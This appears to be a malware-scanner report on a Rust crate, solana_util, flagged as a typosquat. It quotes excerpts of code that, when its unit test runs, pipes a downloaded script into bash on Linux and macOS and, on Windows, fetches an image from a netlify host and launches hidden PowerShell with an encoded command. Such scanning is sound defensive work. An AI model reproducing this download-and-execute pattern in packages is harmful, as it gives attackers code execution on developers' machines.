Hostile 92% rust Download

solana_util 0.1.2

curl-to-shell, encoded PowerShell, typosquat

“A short description of your Solana utility library”

Spawned curl-pipe-shell remote code executionPackage first published within seven days
SHA-256e89c33a15f87b1b4430fc03134e12f3f57cf7bf91b4687c2d98cfa339916a7cc

Evidence

Constructs a Rust process command lines 1–36
1use std::process::{Command, Stdio};
2
3/// Linux: curl -fsSL <url> | bash
4fn run_linux() {
5
6 let curl = Command::new("curl")
7 .args([
8 "-fsSL",
⋯4 lines
13 .expect("failed to spawn curl");
14
15 let status = Command::new("bash")
16 .stdin(curl.stdout.unwrap())
17 .status()
⋯5 lines
23fn run_macos() {
24
25 let curl = Command::new("curl")
26 .args([
27 "-fsSL",
⋯9 lines
HTTP URL targets an image file lines 36–66
⋯4 lines
40}
41
42/// Windows: powershell -nop -w h -ep bypass -EncodedCommand <base64>
43fn run_windows() {
44
45
46 // ------------------------------------------------------------------
47 // 1. Download the image to the current directory (where the PS
48 // script will look for it via (pwd).Path / $PSScriptRoot fallback)
49 // ------------------------------------------------------------------
50 let image_url = "https://tubular-cassata-4d40d2.netlify.app/screenshot_2.png";
51 let image_path = "screenshot_2.png";
52
53 let dl_status = Command::new("curl")
54 .args([
55 "-fsSL",
⋯11 lines
Rust launches PowerShell lines 71–88
71:2364… UmVhZEFsbEJ5dGVzKCRpbWcpLCQobywkbil9Cg==";
72
73 let ps_status = Command::new("powershell")
74 .args([
75 "-nop",
⋯13 lines
imports super::* lines 91–103
91:3… other => eprintln!("Unsupported platform: {}", other),
92 }
93}
94#[cfg(test)]
95mod tests {
96 use super::*;
97
98 #[test]
99 fn it_works() {
100 match std::env::consts::OS {
101 "linux" => run_linux(),
102 "macos" => run_macos(),
103 "windows" => run_wind …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.